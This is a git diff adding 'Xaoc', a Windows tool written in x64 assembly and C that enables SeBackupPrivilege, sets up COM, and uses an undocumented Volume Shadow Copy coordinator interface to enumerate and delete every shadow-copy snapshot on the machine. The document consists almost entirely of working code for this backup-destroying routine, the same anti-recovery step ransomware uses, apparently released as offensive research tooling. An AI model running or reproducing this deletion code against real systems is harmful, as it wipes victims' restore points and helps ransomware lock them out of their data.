+;---------------------------------------------------------------------------------------------------------------------- +; 4. Ensure that the current thread inpersonation token as the SeBackupPrivilege privilege. +;---------------------------------------------------------------------------------------------------------------------- + xor rcx, rcx ; Privilege + add cx, 11h ; + xor rdx, rdx ; EnablePrivilege + inc dx ; + xor r8, r8 ; IsThreadPrivilege + mov r9, rsp ; PreviousValue + add r9, 20h ; + call RtlAdjustPrivilege ; Call RtlAdjustPrivilege + test eax, eax ; + jnz _epilogue ; + +;---------------------------------------------------------------------------------------------------------------------- +; 5. Initialise COM context and security context. +; Additonally disable structured exception handler. +;---------------------------------------------------------------------------------------------------------------------- + xor ecx, ecx ; pvReserved + xor edx, edx ; dwCoInit + call CoInitializeEx ; Call CoInitializeEx + test eax, eax ; + jnz _epilogue ; + + ; Initialise COM security context + xor ecx, ecx ; pSecDesc + mov rdx, 0FFFFFFFFFFFFFFFFh ; cAuthSvc + xor r8, r8 ; asAuthSvc + xor r9, r9 ; pReserved1 + mov qword ptr [rsp + 20h], 06h ; dwAuthnLevel + mov dword ptr [rsp + 28h], 02h ; dwImpLevel + mov qword ptr [rsp + 30h], 00h ; pAuthList + mov dword ptr [rsp + 38h], 00h ; dwCapabilities + mov dword ptr [rsp + 40h], 00h ; pReserved3 + call CoInitializeSecurity ; Call CoInitializeSecurity + test eax, eax ; + jnz _epilogue ; + + ; Get the IGlobalOptions interface + lea rcx, CLSID_GlobalOptions ; rclsid + xor rdx, rdx ; pUnkOuter + xor r8, r8 ; dwClsContext (CLSCTX_INPROC_SERVER) + inc r8 ; + lea r9, IID_GlobalOptions ; riid + lea r10, GlobalOptions ; ppv + mov qword ptr [rsp + 20h ], r10 ; + call CoCreateInstance ; Call CoCreateInstance + test eax, eax ; + jnz _epilogue ; + + ; Disable SEH + mov rcx, qword ptr [GlobalOptions] ; This + xor edx, edx ; dwProperty + inc edx ; + xor r8, r8 ; dwValue + inc r8 ; + mov rax, qword ptr [rcx] ; Address of GlobalOptions::Set + call [rax].GlobalOptionsVtbl.Set ; Call GlobalOptions::Set + test eax, eax ; + jnz _epilogue ; + + ; Cleanup + mov rax, qword ptr [GlobalOptions] ; Address of GlobalOptions::Release + mov rax, qword ptr [rax] ; + call [rax].GlobalOptionsVtbl.Release ; Call GlobalOptions::Release + +;---------------------------------------------------------------------------------------------------------------------- +; 6. Get a valid pointer to a IVssCoordinator COM interface +;---------------------------------------------------------------------------------------------------------------------- + lea rcx, CLSID_VssCoordinator ; rclsid + xor edx, edx ; pUnkOuter + xor r8, r8 ; dwClsContext (CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER) + mov r8b, 14h ; + lea r9, IID_VssCoordinator ; riid + lea r10, [VssCoordinator] ; ppv + mov qword ptr [rsp + 20h ], r10 ; + call CoCreateInstance ; Call CoCreateInstance + test eax, eax ; + jnz _epilogue ; + +;---------------------------------------------------------------------------------------------------------------------- +; 7. Set the context +;---------------------------------------------------------------------------------------------------------------------- + mov rcx, qword ptr [VssCoordinator] ; This + mov edx, 0FFFFFFFFh ; p1 + mov rax, qword ptr [rcx] ; Address of VssCoordinator::SetContext + call [rax].VssCoordinatorVtbl.SetContext ; Call VssCoordinator::SetContext + test eax, eax ; + jnz _epilogue ; + +;---------------------------------------------------------------------------------------------------------------------- +; 8. Get valid pointer to a IVssEnumObject COM interface +;---------------------------------------------------------------------------------------------------------------------- + mov rcx, qword ptr [VssCoordinator] ; This + lea rdx, CLSID_NULL ; p0 + xor r8, r8 ; p1 + inc r8 ; + xor r9, r9 ; p2 + add r9, 03h ; + lea rax, VssEnumObject ; p3 + mov qword ptr [rsp + 20h], rax ; + mov rax, qword ptr [rcx] ; Address of VssCoordinator::Query + call [rax].VssCoordinatorVtbl.Query ; Call VssCoordinator::Query + cmp qword ptr [VssEnumObject], 00h ; + jz _epilogue ; + +;---------------------------------------------------------------------------------------------------------------------- +; 9. Parse each entry one by one +;---------------------------------------------------------------------------------------------------------------------- + _vss_object_prop_loop: + mov rcx, qword ptr [VssEnumObject] ; This + mov rdx, 01h ; celt + mov r8, rsp ; rgelt + add r8, 50h ; + mov r9, r8 ; pceltFetched + add r8, 08h ; + mov rax, qword ptr [rcx] ; Address of VssEnumObject::Next + call [rax].VssEnumObjectVtbl.Next ; Call VssEnumObject::Next + + ; Ensure that a structure has been returned + cmp al, 01 ; This points to object type + je _vss_object_prop_end ; + cmp byte ptr [rsp + 50h], 01h ; + jne _vss_object_prop_end ; + + ; Check the type of the object returned + cmp [rsp + 58h]._VSS_OBJECT_PROP.ObjType, 03h ; Check the object type + jne _vss_object_prop_loop ; + + ; Delete the object + mov rcx, qword ptr [VssCoordinator] ; This + lea rdx, [rsp + 58h]._VSS_OBJECT_PROP.Snap.m_SnapshotId ; Snapshot GUID to delete + mov r8, 03h ; Object type to delte + mov r9, 01h ; Number of objects to delete + + mov r11, rsp ; + add r11, 58h + sizeof _VSS_OBJECT_PROP ; + mov qword ptr [rsp + 20h], r11 ; Out INT + add r11, 08h ; Out GUID + mov qword ptr [rsp + 28h], r11 ; + + mov rax, qword ptr [rcx] ; Address of VssCoordinator::DeleteSnapshots + call [rax].VssCoordinatorVtbl.DeleteSnapshots ; Call VssCoordinator::DeleteSnapshots + jmp _vss_object_prop_loop ; + +;---------------------------------------------------------------------------------------------------------------------- +; A. Uninitialise COM context and exit. +;---------------------------------------------------------------------------------------------------------------------- + _vss_object_prop_end: + call CoUninitialize ; Call CoUninitialize + + _epilogue: + mov rsp, rbp ; + pop rbp ; + _exit: + mov rcx, 00h ; + call ExitProcess ; Exit process + xaoc ENDP + + +; End of file. +_TEXT$00 ENDS +END \ No newline at end of file diff --git a/Xaoc/Xaoc - cpp/main.c b/Xaoc/Xaoc - cpp/main.c new file mode 100644 index 0000000..d6cb447 --- /dev/null +++ b/Xaoc/Xaoc - cpp/main.c @@ -0,0 +1,47 @@ +/** +* @file main.c +* @date 05/07/2021 +* @author Paul L. (@am0nsec) +* @version 1.0 +* @brief +* @details +* @link +* @copyright This project has been released under the GNU Public License v3 license. +*/ +#include +#include + +#include "util.h" +#include "vssutil.h" + +INT main() { + + // 1. Ensure that the process token as the SeBackupPrivilege privilege. + EXIT_ON_FAILURE(AssertPrivilege()); + + // 2. Initialise COM context + EXIT_ON_FAILURE(InitialiseProcess()); + + // 3. Get the interface + IVssCoordinator* pIVssCoordinator = NULL; + THROW_ON_FAILURE(CoCreateInstance( + &CLSID_CVssCoordinator, + NULL, + (/*CLSCTX_REMOTE_SERVER |*/ CLSCTX_LOCAL_SERVER), + &IID_IVssCoordinator, + (LPVOID*)&pIVssCoordinator + )); + THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->SetContext(pIVssCoordinator, -1)); + + // 4. Get the IVssEnumObject interface + VSS_OBJECT_PROP* pVssSnapshots = NULL; + LONG lNumberOfSnapshots = 0x00; + + VssUtilListSnapshots(pIVssCoordinator, &pVssSnapshots, &lNumberOfSnapshots); + VssUtilDeleteSnapshots(pIVssCoordinator, pVssSnapshots, lNumberOfSnapshots); + + // xx. Uninitialise COM context and exit. + THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->Release(pIVssCoordinator)); + CoUninitialize(); + return EXIT_SUCCESS; +} \ No newline at end of file diff --git a/Xaoc/Xaoc - cpp/util.h b/Xaoc/Xaoc - cpp/util.h new file mode 100644 index 0000000..976b863 --- /dev/null +++ b/Xaoc/Xaoc - cpp/util.h @@ -0,0 +1,97 @@ +/** +* @file util.h +* @date 05/07/2021 +* @author Paul L. (@am0nsec) +* @version 1.0 +* @brief +* @details +* @link +* @copyright This project has been released under the GNU Public License v3 license. +*/ +#ifndef __UTIL_H_GUARD__ +#define __UTIL_H_GUARD__ + +#include + +#define EXIT_ON_FAILURE(exp) \ + if (FAILED(exp)) { return EXIT_FAILURE; } + +#define THROW_ON_FAILURE(exp) \ + if (FAILED(exp)) { return E_FAIL; } + +/** + * @brief Ensure that the token has the SeBackupPrivilege privilege. + * @return Wether the token has the SeBackupPrivilege privilege. +*/ +_Success_(return == S_OK) _Must_inspect_result_ +HRESULT AssertPrivilege(VOID) { + + // 1. Get handle to the token object. + HANDLE hProcess = (HANDLE) -1; + HANDLE hToken = INVALID_HANDLE_VALUE; + OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken); + if (hToken == INVALID_HANDLE_VALUE) + return E_FAIL; + + // 2. Adjust the token privileges if required. + TOKEN_PRIVILEGES TokenPrivileges = { 0x00 }; + DWORD dwTokenLenght = 0x00; + LUID LocalIdentifier = { 0x00 }; + + + if (LookupPrivilegeValueW(NULL, L"SeBackupPrivilege", &LocalIdentifier)) { + TokenPrivileges.Privileges[0x0].Luid = LocalIdentifier; + TokenPrivileges.Privileges[0x00].Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT | SE_PRIVILEGE_ENABLED; + TokenPrivileges.PrivilegeCount = 0x01; + + if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, 0x00, NULL, &dwTokenLenght)) { + CloseHandle(hToken); + return E_FAIL; + } + } + + // 3. Close handle and return. + CloseHandle(hToken); + return S_OK; +} + +/** + * @brief Initialise the process to be able to use various COM servers. + * @return Whether the process has been successfully initialised. +*/ +_Success_(return == S_OK) _Must_inspect_result_ +HRESULT InitialiseProcess() { + // 1. Initialise COM context + THROW_ON_FAILURE(CoInitializeEx(NULL, 0x00)); + THROW_ON_FAILURE(CoInitializeSecurity( + NULL, + -1, + NULL, + NULL, + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IDENTIFY, + NULL, + EOAC_NONE, + NULL + )); + + // 2. Disable SEH + IGlobalOptions* pIGlobalOptions = NULL; + THROW_ON_FAILURE(CoCreateInstance( + &CLSID_GlobalOptions, + NULL, + CLSCTX_INPROC_SERVER, + &IID_IGlobalOptions, + (LPVOID*)&pIGlobalOptions + )); + THROW_ON_FAILURE(pIGlobalOptions->lpVtbl->Set( + pIGlobalOptions, + COMGLB_EXCEPTION_HANDLING, + COMGLB_EXCEPTION_DONOT_HANDLE + )); + pIGlobalOptions->lpVtbl->Release(pIGlobalOptions); + + return S_OK; +} + +#endif // !__UTIL_H_GUARD__ diff --git a/Xaoc/Xaoc - cpp/vssutil.h b/Xaoc/Xaoc - cpp/vssutil.h new file mode 100644 index 0000000..e104dc8 --- /dev/null +++ b/Xaoc/Xaoc - cpp/vssutil.h @@ -0,0 +1,231 @@ +/** +* @file vssutil.h +* @date 05/07/2021 +* @author Paul L. (@am0nsec) +* @version 1.0 +* @brief +* @details +* @link +* @copyright This project has been released under the GNU Public License v3 license. +*/ +#ifndef __VSSUTIL_H_GUARD__ +#define __VSSUTIL_H_GUARD__ + +#include +#include + +/** + * @brief GUID of the IVssCoordinator COM interface: da9f41d4-1a5d-41d0-a614-6dfd78df5d05 +*/ +CONST IID IID_IVssCoordinator = { 0xda9f41d4, 0x1a5d, 0x41d0, {0xa6, 0x14, 0x6d, 0xfd, 0x78, 0xdf, 0x5d, 0x05} }; + +/** + * @brief GUID of the CVssCoordinator class: e579ab5f-1cc4-44b4-bed9-de0991ff0623 +*/ +CONST IID CLSID_CVssCoordinator = { 0xe579ab5f, 0x1cc4, 0x44b4, {0xbe, 0xd9, 0xde, 0x09, 0x91, 0xff, 0x06, 0x23} }; + +typedef interface IVssCoordinator IVssCoordinator; + +typedef struct VssCoordinatorVtbl { + BEGIN_INTERFACE + + /** + * @brief QueryInterface method from IUnknown + */ + HRESULT(STDMETHODCALLTYPE* QueryInterface) ( + _In_ IVssCoordinator* This, + _In_ REFIID riid, + _Out_ PVOID* ppvObject + ); + + /** + * @brief AddRef from IUnknown + */ + ULONG(STDMETHODCALLTYPE* AddRef)( + _In_ IVssCoordinator* This + ); + + /** + * @brief Release from IUnknown + */ + ULONG(STDMETHODCALLTYPE* Release)( + _In_ IVssCoordinator* This + ); + + /** + * /!\ + * Everything below this line has been extracted via OleView.Net and VSSVC.exe image. + * Some of the methods might be wrong + * /!\ + */ + HRESULT(STDMETHODCALLTYPE* SetContext)( + _In_ IVssCoordinator* This, + _In_ LONG p0 + ); + HRESULT(STDMETHODCALLTYPE* StartSnapshotSet)( + _In_ IVssCoordinator* This, + _Out_ GUID* p0 + ); + HRESULT(STDMETHODCALLTYPE* AddToSnapshotSet)( + _In_ IVssCoordinator* This, + _In_ WCHAR* p0, + _In_ GUID p1, + _Out_ GUID* p2 + ); + HRESULT(STDMETHODCALLTYPE* DoSnapshotSet)( + _In_ IVssCoordinator* This, + _In_ IDispatch* p0, + _Out_ IVssAsync** p1 + ); + HRESULT(STDMETHODCALLTYPE* GetSnapshotProperties)( + _In_ IVssCoordinator* This, + _In_ GUID p0, + _Out_ VSS_SNAPSHOT_PROP* p1 + ); + HRESULT(STDMETHODCALLTYPE* ExposeSnapshot)( + _In_ IVssCoordinator* This, + _In_ GUID p0, + _In_ WCHAR* p1, + _In_ LONG p2, + _In_ WCHAR* p3, + _Out_ WCHAR** p4 + ); + HRESULT(STDMETHODCALLTYPE* ImportSnapshots)( + _In_ IVssCoordinator* This, + _In_ USHORT* p0, + _Out_ IVssAsync** p1 + ); + HRESULT(STDMETHODCALLTYPE* Query)( + _In_ IVssCoordinator* This, + _In_ GUID p0, + _In_ VSS_OBJECT_TYPE p1, + _In_ VSS_OBJECT_TYPE p2, + _Out_ IVssEnumObject** p3 + ); + HRESULT(STDMETHODCALLTYPE* DeleteSnapshots)( + _In_ IVssCoordinator* This, + _In_ GUID ShadowCopyID, + _In_ VSS_OBJECT_TYPE ObjType, + _In_ INT p2, + _Out_ LONG* p3, + _Out_ GUID* p4 + ); + HRESULT(STDMETHODCALLTYPE* BreakSnapshotSet)( + _In_ IVssCoordinator* This, + _In_ GUID p0 + ); + HRESULT(STDMETHODCALLTYPE* RevertToSnapshot)( + _In_ IVssCoordinator* This, + _In_ GUID p0, + _In_ INT p1 + ); + HRESULT(STDMETHODCALLTYPE* QueryRevertStatus)( + _In_ IVssCoordinator* This, + _In_ WCHAR* p0, + _Out_ IVssAsync** p1 + ); + HRESULT(STDMETHODCALLTYPE* IsVolumeSupported)( + _In_ IVssCoordinator* This, + _In_ GUID p0, + _In_ WCHAR* p1, + _Out_ INT* p2 + ); + HRESULT(STDMETHODCALLTYPE* IsVolumeSnapshotted)( + _In_ IVssCoordinator* This, + _In_ GUID p0, + _In_ WCHAR* p1, + _Out_ INT* p2, + _Out_ LONG* p3 + ); + HRESULT(STDMETHODCALLTYPE* SetWriterInstance)( + _In_ IVssCoordinator* This, + _In_ LONG p0, + _Out_ GUID* p1 + ); + + END_INTERFACE +} VssCoordinatorVtbl; + +interface IVssCoordinator { + CONST_VTBL struct VssCoordinatorVtbl* lpVtbl; +}; + + +HRESULT VssUtilListSnapshots( + _In_ IVssCoordinator* pIVssCoordinator, + _Out_ VSS_OBJECT_PROP** ppVssSnapshots, + _Out_ LONG* plNumberOfSnapshots +) { + // 1. Get the IVssEnumObject interface + IVssEnumObject* pIVssEnumObject = NULL; + THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->Query( + pIVssCoordinator, + GUID_NULL, + VSS_OBJECT_NONE, + VSS_OBJECT_SNAPSHOT, + &pIVssEnumObject + )); + + // 2. Get all the snapshots + ULONG ulObjects = 0x10; + ULONG ulFetchedObjects = 0x00; + *ppVssSnapshots = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(VSS_OBJECT_PROP) * ulObjects); + + THROW_ON_FAILURE(pIVssEnumObject->lpVtbl->Next( + pIVssEnumObject, + ulObjects, + *ppVssSnapshots, + plNumberOfSnapshots + )); + + // 3. Cleanup and return. + pIVssEnumObject->lpVtbl->Release(pIVssEnumObject); + return S_OK; +} + +HRESULT VssUtilDeleteSnapshots( + _In_ IVssCoordinator* pIVssCoordinator, + _Out_ VSS_OBJECT_PROP* pVssSnapshots, + _Out_ LONG lNumberOfSnapshots +) { + // 1. Get param ready + LPWSTR wszShadowCopySetId = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x20 * sizeof(WCHAR)); + LPWSTR wszShadowCopyId = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x20 * sizeof(WCHAR)); + + // 2. Parse all entries + while (lNumberOfSnapshots--) { + VSS_OBJECT_PROP Element = pVssSnapshots[lNumberOfSnapshots]; + if (Element.Type != VSS_OBJECT_SNAPSHOT) + continue; + + // Get the GUIDs + RtlZeroMemory(wszShadowCopySetId, 0x20 * sizeof(WCHAR)); + RtlZeroMemory(wszShadowCopyId, 0x20 * sizeof(WCHAR)); + StringFromGUID2(&Element.Obj.Snap.m_SnapshotSetId, wszShadowCopySetId, 0x20 * sizeof(WCHAR)); + StringFromGUID2(&Element.Obj.Snap.m_SnapshotId, wszShadowCopyId, 0x20 * sizeof(WCHAR)); + + // Display information + wprintf(L"Delleting following candidate: \n"); + wprintf(L"\tShadow copy set ID: %s\n", wszShadowCopySetId); + wprintf(L"\tShadow copy ID: %s\n\n", wszShadowCopyId); + + // Delete snapshot + LONG lSomething = 0x00; + GUID SomethingElse = { 0x00 }; + THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->DeleteSnapshots( + pIVssCoordinator, + Element.Obj.Snap.m_SnapshotId, + VSS_OBJECT_SNAPSHOT, + 1, + &lSomething, + &SomethingElse + )); + } + + // 3. Cleanup and return + HeapFree(GetProcessHeap(), 0x00, wszShadowCopySetId); + HeapFree(GetProcessHeap(), 0x00, wszShadowCopyId); + return S_OK; +} + +#endif // !__VSSUTIL_H_GUARD__